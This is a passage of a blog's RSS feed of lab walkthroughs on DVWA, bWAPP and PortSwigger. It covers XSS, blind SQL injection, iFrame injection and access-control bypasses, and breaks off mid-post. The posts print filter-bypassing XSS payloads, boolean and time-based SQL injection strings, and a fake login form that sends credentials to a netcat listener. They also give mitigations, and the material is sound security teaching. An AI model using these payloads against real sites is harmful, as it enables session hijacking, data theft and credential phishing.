<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kamal S on Medium]]></title>
        <description><![CDATA[Stories by Kamal S on Medium]]></description>
        <link>https://medium.com/@Kamal_S?source=rss-e2d951bce6c1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*g9iRKWRA8YmhJZ8ynN0TSQ.png</url>
            <title>Stories by Kamal S on Medium</title>
            <link>https://medium.com/@Kamal_S?source=rss-e2d951bce6c1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 15 Nov 2026 20:46:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Kamal_S/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DVWA Vulnerability: Stored Cross-Site Scripting (XSS)]]></title>
            <link>https://medium.com/@Kamal_S/dvwa-vulnerability-stored-cross-site-scripting-xss-6aaac4dc5385?source=rss-e2d951bce6c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/6aaac4dc5385</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[stored-xss]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[dvwa]]></category>
            <dc:creator><![CDATA[Kamal S]]></dc:creator>
            <pubDate>Sun, 15 Nov 2026 17:34:01 GMT</pubDate>
            <atom:updated>2026-11-15T17:34:01.858Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Stored Cross-Site Scripting (Stored XSS)</strong> is a web application vulnerability that occurs when an application accepts user provided input, stores it on the server, and later displays it to other users without proper output encoding or sanitization leading to javascript payload execution.</p><p>Unlike Reflected XSS, where the malicious input is usually included in a request and reflected immediately in the response, Stored XSS persists within the application. This makes it potentially more impactful because the injected JavaScript can execute whenever a user accesses the affected page.</p><p>In this walkthrough, I will demonstrate how to identify and exploit a <strong>Stored Cross-Site Scripting</strong> vulnerability in Damn Vulnerable Web Application (<strong>DVWA</strong>) at different security level.</p><p>Generally attacker look for Stored XSS in application features that allow users to submit and save content, such as - Comment sections, Guestbooks, User profile information, Feedback forms, Discussion forums etc. <br>If the application stores user input without proper validation and later renders it without context-appropriate output encoding, an attacker can inject JavaScript into the application.</p><p>Navigate to the Stored XSS challenge from the left-side menu. The application displays a guestbook form containing fields such as <strong>Name </strong>and <strong>Message</strong>. These fields allow users to submit information that gets stored and displayed on the page.<br>Before testing for XSS, submit normal input into both fields and click the <strong>Sign Guestbook</strong> button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*57pb7obeZQhIuqozQtcJOA.png" /></figure><p>The submitted information appears in the guestbook section. This confirms that the application accepts and stores user-provided input.</p><blockquote><strong>DVWA Stored XSS — Low Security</strong></blockquote><p>At the <strong>Low </strong>security level, DVWA does not apply any effective filtering to the input. The application takes the value provided in the input stores in application database and executes the provided payload.</p><p>We can provide a simple payload in the Message field such as:<br><strong>&lt;script&gt;alert(‘XSS — Low Security’)&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*J2vF2OONKwalozzllZqPQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*UyxRVFOax_C7_jKZxhuzwQ.png" /></figure><blockquote><strong>DVWA Stored XSS — Medium Security</strong></blockquote><p>At the <strong>Medium </strong>security level, DVWA introduces input filtering to prevent the basic ‘&lt;script&gt;’ payload from working and previous payload will not work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*I25EMF8-QT7WKbfRMHEWLg.png" /></figure><p>We can observe that we can not provide same payload in the <strong>Name </strong>input field as input length restriction is set in the field. However, this restriction can be bypassed by modifying the <strong>maxlenght </strong>value. Even in the Name field provided payload will not execute and it confirms that similar input validation implemented for both input fields.</p><p>Next, provide the below customized payload by increasing the <strong>maxlength </strong>value and payload observe that provide javascript payload executed successfully -<br><strong>&lt;sCriPt&gt;alert(‘XSS+Medium+Security’)&lt;/sCriPt&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IRc2hms6drCRlC2nNmQlAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*qyhePFQFzzruwPCThMyGuA.png" /></figure><blockquote><strong>DVWA Stored XSS — High Security</strong></blockquote><p>At the <strong>High </strong>security level, we will observe that previous approach will not work which confirms that proper input validation is implemented for the script tag. However, there are several tags available apart from ‘script’ which can be used to exploit XSS.<br>Try below provided payload which will lead to javascript payload execution:<br><strong>&lt;svg/onload=alert(‘XSS+High+Security’)&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vq08buc6VUthdFjzqaN8GA.png" /></figure><p>The developer has disabled all script usage by removing the pattern “&lt;s*c*r*i*p*t” however payload using HTML events are still executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*2nQ-3_bBR9jUaQEpRgwONw.png" /></figure><blockquote><strong>Key Takeaways</strong><br>Stored XSS can have a significant security impact, particularly when the affected application is accessed by multiple users as the vulnerability is not limited to the user submitting the payload. Depending on the application’s functionality and access controls, other users visiting the affected page may also trigger the injected JavaScript.<br>It is important to implement proper Input Validation and Context-Aware Output Encoding in all input fields to mitigate the XSS attack.</blockquote><p>Challenge solved. Thanks for reading..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6aaac4dc5385" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DVWA Vulnerability: Reflected Cross Site Scripting (XSS)]]></title>
            <link>https://medium.com/@Kamal_S/dvwa-vulnerability-reflected-cross-site-scripting-xss-e9dfe6e15025?source=rss-e2d951bce6c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9dfe6e15025</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[reflected-xss]]></category>
            <dc:creator><![CDATA[Kamal S]]></dc:creator>
            <pubDate>Sun, 04 Oct 2026 08:26:46 GMT</pubDate>
            <atom:updated>2026-10-04T08:26:46.040Z</atom:updated>
            <content:encoded><![CDATA[<p>Cross-Site Scripting (XSS) is a common web application vulnerability that occurs when an application does not properly handle user input, allowing an attacker to inject and execute JavaScript in a victim’s browser.</p><p>In this blog, I will walk through the <strong>Reflected XSS</strong> challenge in <strong><em>DVWA </em></strong>and demonstrate how the vulnerability can be exploited at <strong>different security levels</strong>. I will also explain how the input filtering changes at each level and how the payload can be modified accordingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*IjK0EwiSM1EOQDEOUAjcEA.png" /></figure><p><strong>Reflected XSS </strong>occurs when user-controlled input is sent to the server and is immediately included in the server’s response without proper validation or output encoding. When the victim’s browser receives the response, the injected content can be interpreted and executed as JavaScript. The important point here is that the payload is not stored by the application. It is sent to the server and immediately reflected back to the browser as shown in below screenshot, the provided user input reflects in the page -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*Wy4A0QHIHbs-ZgYqWfBylw.png" /></figure><blockquote><strong>DVWA Reflected XSS — Low</strong></blockquote><p>At the <strong>Low </strong>security level, DVWA does not apply any effective filtering to the input. The application takes the value provided in the input field and reflects it directly into the response.</p><p>We can provide a simple payload such as:<br><strong>&lt;script&gt;alert(‘XSS — Low Security’)&lt;/script&gt;</strong></p><p>When the application processes the input, the payload is reflected back in the response and the browser executes the JavaScript, resulting in an alert box. This confirms that the application is vulnerable to Reflected XSS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*cRj43rBPtKD2aTpz7k7Zdg.png" /></figure><blockquote><strong>DVWA Reflected XSS — Medium</strong></blockquote><p>At the <strong>Medium </strong>security level, DVWA introduces input filtering to prevent the basic ‘<strong>&lt;script&gt;</strong>’ payload from working and application attempts to remove/filter the tag from the input.</p><p>Instead of using previous payload, we can use below provided payload as validation implemented for the ‘<strong>script</strong>’ tag is case-sensitive:<br>&lt;ScRiPt&gt;alert(‘XSS — Medium Security’)&lt;/ScRiPt&gt;</p><p>Application will execute the given payload which proves that blacklist validation by removing/filtering specific tag is not recommended approach — <strong>&lt;ScRiPt&gt;alert(‘XSS — Medium Security’)&lt;/ScRiPt&gt;</strong><br>Here, we can even try different tags like <strong>img</strong>, <strong>body</strong>, <strong>svg </strong>etc. to exploit Reflected XSS as application is only validating ‘script’ (lowercase) tag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*HNobVmMWYeAC2QfJIT7SoQ.png" /></figure><blockquote><strong>DVWA Reflected XSS — High</strong></blockquote><p>At the <strong>High </strong>security level, DVWA applies stronger filtering and implemented non case-sensitive validation for the ‘script’ tag. However, as mentioned earlier, there are several tags available apart from ‘script’ which can be used to exploit Reflected XSS.<br>Try below provided payload:<br><strong>&lt;img src=‘k’ onerror=alert(‘XSS+High+Security’)&gt;</strong></p><p>Here, the invalid image source causes the ‘<strong>onerror</strong>’ event to execute the supplied JavaScript. If the filtering only blocks the ‘&lt;script&gt;’ tag, this alternative payload may still execute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aOYlAYFjRxG4ilbsdd6IZA.png" /></figure><p>This demonstrates an important point about XSS protection that simply blocking specific tags or keywords is not a reliable way to prevent XSS. Attackers can often use different HTML elements or event handlers to reach an executable context.</p><p><strong>Why Reflected XSS is Dangerous</strong><br>The impact of Reflected XSS depends on the application and the privileges of the victim. If an attacker can convince a victim to open a specially crafted URL, the injected JavaScript may execute in the context of the vulnerable application.<br>Depending on the application’s functionality, this could allow an attacker to manipulate the webpage, perform actions using the victim’s session, access information available to client-side JavaScript, or display a fake login form or other malicious content.</p><p><strong>How to Prevent Reflected XSS</strong><br>The primary defense against Reflected XSS is to properly encode untrusted data before placing it into an HTML response. <br>Input validation can also be useful for restricting unexpected input, but it should not be treated as the primary protection against XSS. Blacklist-based filtering, such as blocking specific strings like ‘&lt;script&gt;’, can often be bypassed using alternative HTML elements, attributes, or encoding techniques.<br>A properly configured Content Security Policy (CSP) can provide an additional layer of protection, but it should be considered as defense-in-depth rather than a replacement for proper output encoding.</p><p><strong>Conclusion</strong><br>The DVWA Reflected XSS challenge is a good way to understand how user input is sent to the server and then reflected back in the browser without proper security controls.<br>The different DVWA security levels also show why simple blacklist-based filtering is not an effective way to protect an application from XSS. <br>The main takeaway is to always trace the complete flow of user-controlled data from the request to the server response and determine whether it reaches an executable context in the browser.</p><p>Thanks for reading..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9dfe6e15025" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DVWA Vulnerability: DOM Based Cross Site Scripting (XSS)]]></title>
            <link>https://medium.com/@Kamal_S/dvwa-vulnerability-dom-based-cross-site-scripting-xss-062959c8254e?source=rss-e2d951bce6c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/062959c8254e</guid>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[dom-xss]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Kamal S]]></dc:creator>
            <pubDate>Sat, 26 Sep 2026 12:08:08 GMT</pubDate>
            <atom:updated>2026-09-26T12:08:08.771Z</atom:updated>
            <content:encoded><![CDATA[<p>Cross-Site Scripting (XSS) is a common web application vulnerability that occurs when an application does not properly handle user input, allowing an attacker to inject and execute JavaScript in a victim’s browser.<br>In this blog, I will walk through the <strong>DOM-based XSS</strong> challenge in <strong><em>DVWA </em></strong>and show how the vulnerability works at different security levels. I will also explain how the filtering changes at each level and how the XSS payload can be tested.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*-9cEpDKt38qMgY8yJKoZnQ.png" /></figure><p>DOM-Based Cross-Site Scripting is a type of XSS where the vulnerability happens on the client side. In this case, JavaScript takes user-controlled input and uses it in an unsafe way while modifying the webpage.<br>Unlike reflected XSS, the input does not necessarily have to go to the server and come back in the response. Instead, the browser receives the page, and the JavaScript running in the browser processes the user input and updates the DOM. If the input is not handled properly, it can result in JavaScript being executed in the browser.</p><p><strong>Low Security</strong><br>At the Low security level, the application provides no effective protection against the supplied input. The page takes the value from the URL and uses it in the DOM without sufficient sanitization.<br>A simple payload that can be used:<br><strong>&lt;script&gt;alert(‘kamal’)&lt;/script&gt;</strong></p><p>The browser interprets the injected &lt;script&gt; element and executes the JavaScript. The resulting pop-up confirms the DOM XSS vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Z2Uk-4PE9s0cDHHtcg33A.png" /></figure><p><strong>Medium Security</strong><br>At the Medium security level, application introduces filtering that prevents the straightforward &lt;script&gt; payload from working and previous payload will not generate the pop-up.</p><p>We can understand the script logic by checking view page source and customize payload to execute outside of defined tags</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*3_-4WnuZIolOen31hd_eSQ.png" /></figure><p>Customized payload that be can be used in this scenario:<br><strong>&lt;/option&gt;&lt;/select&gt;&lt;img src=k onerror=alert(‘kamal’)&gt;</strong></p><p>The browser attempts to load the image, the request fails because <strong>k</strong> is not a valid image reference, and the onerror event executes the JavaScript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pbZ_zc-zwKD9MLzae9G9aw.png" /></figure><p>This demonstrates why blacklist-based filtering considered as weak validation. Blocking one particular tag such as &lt;script&gt; does not address the underlying issue of allowing attacker-controlled HTML to reach an executable context as there are several tags available which can be used to execute javascript leading to XSS.</p><p><strong>High Security</strong><br>The challenge is designed to demonstrate that relying on input filtering and server side validation are not always the correct approach to prevent DOM XSS.</p><p>An attacker can add the <strong>#</strong> symbol before the XSS payload. Since anything after # is treated as a URL fragment, it is not sent to the server, so the server-side validation does not get a chance to inspect the payload. However, the browser-side JavaScript can still read the fragment and process it, causing the XSS payload to execute and resulting in DOM-based XSS. Use the given payload — <strong>#&lt;script&gt;alert(‘kamal’)&lt;/script&gt; </strong>and reload the page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ho120Sq5DIwa1p-IiWAk0g.png" /></figure><p><strong>Conclusion</strong><br>The key takeaway is that XSS protection should be based on safe output handling and context-appropriate encoding rather than blacklist filtering.</p><p>Thanks for reading..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=062959c8254e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DVWA Vulnerability: SQL Injection (Blind)]]></title>
            <link>https://medium.com/@Kamal_S/dvwa-vulnerability-sql-injection-blind-c2b4ae5706f5?source=rss-e2d951bce6c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2b4ae5706f5</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[blind-sql-injection]]></category>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Kamal S]]></dc:creator>
            <pubDate>Sun, 16 Aug 2026 06:30:33 GMT</pubDate>
            <atom:updated>2026-08-16T06:30:33.623Z</atom:updated>
            <content:encoded><![CDATA[<p>SQL Injection is one of the classic web application security vulnerability, and <strong>Blind SQL Injection</strong> takes the same underlying weakness a step further. The challenging part is that the application does not directly display database records or SQL errors. Instead, the attacker has to gather information from the application’s response/behavior. An attacker can construct SQL conditions and determine whether those conditions are true based on the application’s response or can use time based payload to validate response generation timing.</p><p>In this article, we will explore the <strong>SQL Injection (Blind)</strong> vulnerability in <em>Damn Vulnerable Web Application (DVWA) </em>at both <strong>Low </strong>and <strong>Medium </strong>security levels. The objective is to understand how the vulnerability works, how the application behaves at each security level, and how the SQL query can be manipulated in a controlled lab environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*vbzw90_zWiFrBhc506Tn0w.png" /></figure><p><strong>SQL Injection (Blind) — Low Security:</strong><br>1. Start with a valid user ID i.e. 1<br>2. The application responds with: User ID exists in the database. <br>3. Now try a value that does not correspond to an existing user i.e. 9999.<br>4. The application responds with: User ID is MISSING from the database.</p><p>The application is effectively giving us a Boolean response:</p><p>TRUE → User ID exists<br>FALSE → User ID does not exist</p><p>This is what makes the vulnerability blind as error message will not reveal any other sensitive data even special characters used in this scenario.<br>Suppose the original application query is:<br><strong>SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;</strong></p><p>Try Mentioned Exploitation Payloads which will lead to Blind SQL Injection<br>Boolean True Payload: <strong>1&#39; AND 1=1#</strong><br>Result: The query executes WHERE user_id = ‘1’ AND 1=1#. Returns User ID exists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*AKJdYoErEBUjtGb4FOMphw.png" /></figure><p>Boolean False Payload: <strong>1&#39; AND 7=1#</strong><br>Result: The condition fails. Returns User ID is MISSING.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*fRCeGnKlQnqbvxxm4a5P8A.png" /></figure><p>Time-Based Payload: <strong>1&#39; AND SLEEP(5)#</strong><br>Result: The HTTP response hangs for exactly 5 seconds, confirming vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nAUGWXs_pV4XzOwjGq5H1g.png" /></figure><p><strong>SQL Injection (Blind) — Medium Security:</strong><br>The previously mentioned payloads will not work in Medium security level as backend attempts defense by passing the input through mysqli_real_escape_string() and single quotes (‘) are escaped to prevent break-outs, the developer omitted quotes around the variable in the query entirely. Suppose the SQL query is:<br><strong>SELECT first_name, last_name FROM users WHERE user_id = $id;</strong></p><p><strong>Exploitation via HTTP Interception</strong><br>1. Select any option from the dropdown and capture the POST request using Burp Suite.<br>2. Modify the id parameter directly in the body as mentioned below:<br>Boolean True Payload: id=1 AND 1=1#<br>Boolean False Payload: id=1 AND 1=0#<br>Time-Based Payload: id=1 AND SLEEP(5)#<br>3. Forward the request to see the boolean response or time delay in action.</p><p><strong>Key Takeaways &amp; Mitigation</strong><br>Relying on front-end controls or escaping single quotes on numeric fields gives a false sense of security.<br>The most effective defense against SQL Injection is to avoid dynamically constructing SQL queries and instead use Prepared Statements (Parameterized Queries). Parameterized queries ensure that user-supplied input is always handled as data rather than being interpreted as executable SQL code.</p><p>Thanks for reading..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2b4ae5706f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[bWAPP — iFrame Injection]]></title>
            <link>https://medium.com/@Kamal_S/bwapp-iframe-injection-edbc632a38f8?source=rss-e2d951bce6c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/edbc632a38f8</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[security-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[iframe-injection]]></category>
            <category><![CDATA[bwapp]]></category>
            <dc:creator><![CDATA[Kamal S]]></dc:creator>
            <pubDate>Sun, 12 Jul 2026 17:49:40 GMT</pubDate>
            <atom:updated>2026-07-12T17:49:40.080Z</atom:updated>
            <content:encoded><![CDATA[<p>Web applications often display content from external sources to improve functionality or user experience. One common way to do this is by using HTML <strong>&lt;iframe&gt; </strong>elements. While iframes are legitimate HTML features, insecure handling of user input can allow attackers to inject malicious iframe tags into a webpage.</p><p>In this blog, we will explore the <strong>iFrame Injection</strong> challenge available in <strong>bWAPP </strong>(Buggy Web Application).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wkVGa6kdwzI9bziJvH3lTw.png" /></figure><p><strong>iFrame Injection</strong> is a type of HTML Injection vulnerability where an attacker can inject an HTML &lt;iframe&gt; element into a webpage.<br>An iframe embeds another webpage inside the current page or load internal page. If user input is reflected or stored without proper sanitization, an attacker may inject an iframe pointing to a malicious website which he/she can control.</p><p>Example Payload: <strong>&lt;iframe src=</strong>“<a href="https://attacker-controlled-site.com/"><strong>https://attacker-controlled-site.com</strong></a><strong>”&gt;&lt;/iframe&gt;</strong></p><p>When another user visits the vulnerable page, the attacker’s webpage is loaded inside the application. Unlike Cross-Site Scripting (XSS), iFrame Injection does not execute JavaScript directly. Instead, it abuses HTML rendering to display external content.</p><p>iFrame Injection can lead to several security issues and attackers can trick users into revealing sensitive information by: <br>Phishing attacks<br>Fake login pages<br>Clickjacking<br>Displaying malicious content<br>Redirecting users to attacker-controlled websites<br>Social engineering attacks</p><p><strong>Exploiting the Vulnerability:</strong><br>In the vulnerable page of bWAPP, application renders content of robots.txt file which is included in the application.<br>An attacker can modify this parameter value to load any other internal page or external website as given input will be used inside &lt;iframe&gt; tag.<br>It can be noticed in the challenge page that URL is : <a href="http://localhost/BWapp/bWAPP/iframei.php?ParamUrl=robots.txt&amp;ParamWidth=250&amp;ParamHeight=250">http://localhost/BWapp/bWAPP/iframei.php?ParamUrl=robots.txt&amp;ParamWidth=250&amp;ParamHeight=250</a><br>A frame is embedded in webpage<br>Try to load a different page instead of robots.txt for example — index/password change page which will load successfully<br>Now try to load a 3rd party website and it can be noticed, it is possible to load pages within frame.</p><p><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=HqUUCdT4i88">https://www.youtube.com/watch?v=HqUUCdT4i88</a></p><p><strong>Phishing scenario using fake login form:</strong></p><p>Save the below code as login.html in the system -<br>&lt;form name=“login” action=“<a href="http://127.0.0.1:8888/">http://127.0.0.1:8888</a>” method=“post”&gt;<br>&lt;div&gt;<br> &lt;label for=“username”&gt;Username: &lt;/label&gt;<br> &lt;input type=“text” id=“username” name=“username” /&gt;<br>&lt;/div&gt;<br>&lt;br&gt;<br>&lt;div&gt;<br> &lt;label for=“password”&gt;Password: &lt;/label&gt;<br> &lt;input type=“password” id=“pass” name=“password” /&gt;<br>&lt;/div&gt;<br>&lt;br&gt;<br>&lt;input type=“submit” value=“Login” /&gt;<br>&lt;/form&gt;</p><p>Start python server using the below command to use login.html file as input URL for the iFrame Injection -<br><strong>python3 -m http.server</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*BKGnKS1Rs49a6ayGE-7U9A.png" /></figure><p>Start netcat listener using below command — <br><strong>nc -lvnp 8888</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*1vZbNjbReYOOX9g-G3qCOg.png" /></figure><p>Load the below provided URL to embed fake login form which will allow attacker to capture given credentials by victim user -<br><a href="http://localhost/iframei.php?ParamUrl=http://127.0.0.1:8000/login.html&amp;ParamWidth=250&amp;ParamHeight=250">http://localhost/iframei.php?ParamUrl=<strong>http://127.0.0.1:8000/login.html</strong>&amp;ParamWidth=250&amp;ParamHeight=250</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k-ODzQrV0SxFaVvbb7CKcg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*paLOjijgothFpCvctH2tdw.png" /></figure><p>Developers should implement multiple layers of defense:<br>Accept only expected characters and Reject HTML tags whenever possible<br>Always HTML-encode user input before displaying it.<br>Implement security header i.e. Content Security Policy (CSP) or x-frame-options in the response</p><p>Challenge solved. Thanks for reading..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=edbc632a38f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Security Academy — Access Control Vulnerabilities (Practitioner Level Labs)]]></title>
            <link>https://medium.com/@Kamal_S/web-security-academy-access-control-vulnerabilities-practitioner-level-labs-eec3aeb01c8a?source=rss-e2d951bce6c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/eec3aeb01c8a</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[access-control]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[websecacademy]]></category>
            <dc:creator><![CDATA[Kamal S]]></dc:creator>
            <pubDate>Sun, 28 Jun 2026 08:46:37 GMT</pubDate>
            <atom:updated>2026-06-28T08:46:37.458Z</atom:updated>
            <content:encoded><![CDATA[<p>After completing the <a href="https://medium.com/@Kamal_S/web-security-academy-access-control-vulnerabilities-apprentice-level-labs-5c4036907b94">Apprentice-level</a> Access Control labs, the next milestone in the PortSwigger Web Security Academy is the <strong>Practitioner </strong>difficulty. These labs move beyond straightforward authorization bypasses and require a deeper understanding of how applications implement access control in real-world scenarios.</p><p>In this article, we’ll explore the concepts covered in the Practitioner-level Access Control labs, discuss the testing mindset required, and explain why these challenges are valuable for aspiring penetration testers, bug bounty hunters, and application security engineers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*BdLC6h9ySsrXTWzO.png" /></figure><p><strong>Lab: URL-Based Access Control Can Be Circumvented</strong><br>This lab demonstrates how access control mechanisms implemented at the URL level can be bypassed when the application and front-end infrastructure interpret requests differently. The application attempts to restrict access to administrative functionality by blocking direct requests to specific URLs. <br>However, by using certain HTTP headers (X-Original-URL), an attacker can cause the backend server to process the request while bypassing the front-end access restrictions. This highlights the risks of relying solely on URL-based filtering for authorization. The key lesson is that access control must be enforced consistently on the backend, regardless of how a request reaches the application.<br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=jJGVDGNop9I">https://www.youtube.com/watch?v=jJGVDGNop9I</a></p><p><strong>Lab: Method-Based Access Control Can Be Circumvented</strong><br>In this lab, the application enforces authorization checks based on the HTTP method used in the request. While certain methods are properly restricted, alternative methods are processed without adequate validation. This inconsistency allows an attacker to perform actions that should be limited to privileged users. The challenge demonstrates why security controls should not depend on specific request methods and reinforces the importance of validating permissions for every request, regardless of whether it uses GET, POST, PUT, PATCH, or another HTTP verb.<br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=hTLlGwC8Rvw">https://www.youtube.com/watch?v=hTLlGwC8Rvw</a></p><p><strong>Lab: Multi-Step Process with No Access Control on One Step<br></strong>This lab focuses on a common real-world vulnerability where a multi-step workflow contains authorization checks on some stages but not others. Applications often require users to complete several steps before performing sensitive actions. If one of these steps lacks proper authorization validation, an attacker may be able to bypass the intended restrictions and complete the action successfully. Hence, it is important to analyze entire workflows rather than evaluating requests in isolation and every step in a business process should independently enforce access control requirements.<br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=AwkmXLc8flM">https://www.youtube.com/watch?v=AwkmXLc8flM</a></p><p><strong>Lab: Referer-Based Access Control<br></strong>This lab demonstrates the dangers of relying on client-supplied HTTP headers for authorization decisions. The application attempts to protect privileged functionality by checking the Referer header and allowing access only when requests appear to originate from trusted pages. Since HTTP headers can be easily modified by users, an attacker can manipulate the Referer value and bypass the restriction. Access control decisions must be based on server-side validation and authenticated user permissions rather than easily forged request headers.<br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=rMA8JjTL3oc">https://www.youtube.com/watch?v=rMA8JjTL3oc</a></p><p>These Practitioner-level challenges emphasize a critical lesson that access control must be enforced consistently on the server side. Whether the application relies on URLs, HTTP methods, workflow steps, or request headers, attackers will look for inconsistencies that allow them to bypass authorization checks. Successful access control testing requires examining every request, every workflow step, and every trust boundary to identify where security assumptions break down.</p><p>Thanks for reading and happy ethical hacking..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eec3aeb01c8a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[bWAPP HTML Injection — Reflected (URL) and Stored (Blog)]]></title>
            <link>https://medium.com/@Kamal_S/bwapp-html-injection-reflected-url-and-stored-blog-ac86e1030b7f?source=rss-e2d951bce6c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac86e1030b7f</guid>
            <category><![CDATA[injection]]></category>
            <category><![CDATA[html-injection]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bwapp]]></category>
            <dc:creator><![CDATA[Kamal S]]></dc:creator>
            <pubDate>Sun, 21 Jun 2026 14:03:38 GMT</pubDate>
            <atom:updated>2026-06-21T14:03:38.939Z</atom:updated>
            <content:encoded><![CDATA[<p>Web applications heavily rely on user input, but improper handling of this input often introduces security vulnerabilities. One such vulnerability is <strong>HTML Injection</strong>, which occurs when an application renders user-supplied input without proper sanitization or encoding. This allows attackers to inject arbitrary HTML into web pages, altering how content is displayed in the browser. <br>In this blog, we will explore both <strong>Reflected HTML Injection (URL)</strong> and <strong>Stored HTML Injection (Blog)</strong> using the intentionally vulnerable application <strong>bWAPP </strong>(Buggy Web Application), a popular platform for learning and practicing web security concepts.</p><p><strong>Reflected HTML Injection</strong> occurs when user input is passed through an URL parameter and immediately reflected in the server’s response. This requires user interaction with a crafted link and affects only a single request-response cycle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*6marAS68bYPcyRQ42JMgSA.png" /></figure><p>Since the input is not stored, this is considered a non-persistent attack. However, it can still be effective when attackers craft malicious URLs and trick users into clicking/loading them. In bWAPP, the application displays the URL directly on the page. An attacker can manipulate this URL by injecting HTML tags, which are then interpreted by the browser and can lead to risks such as UI manipulation, phishing, and content spoofing.<br><strong>Video Walkthrough</strong>: <a 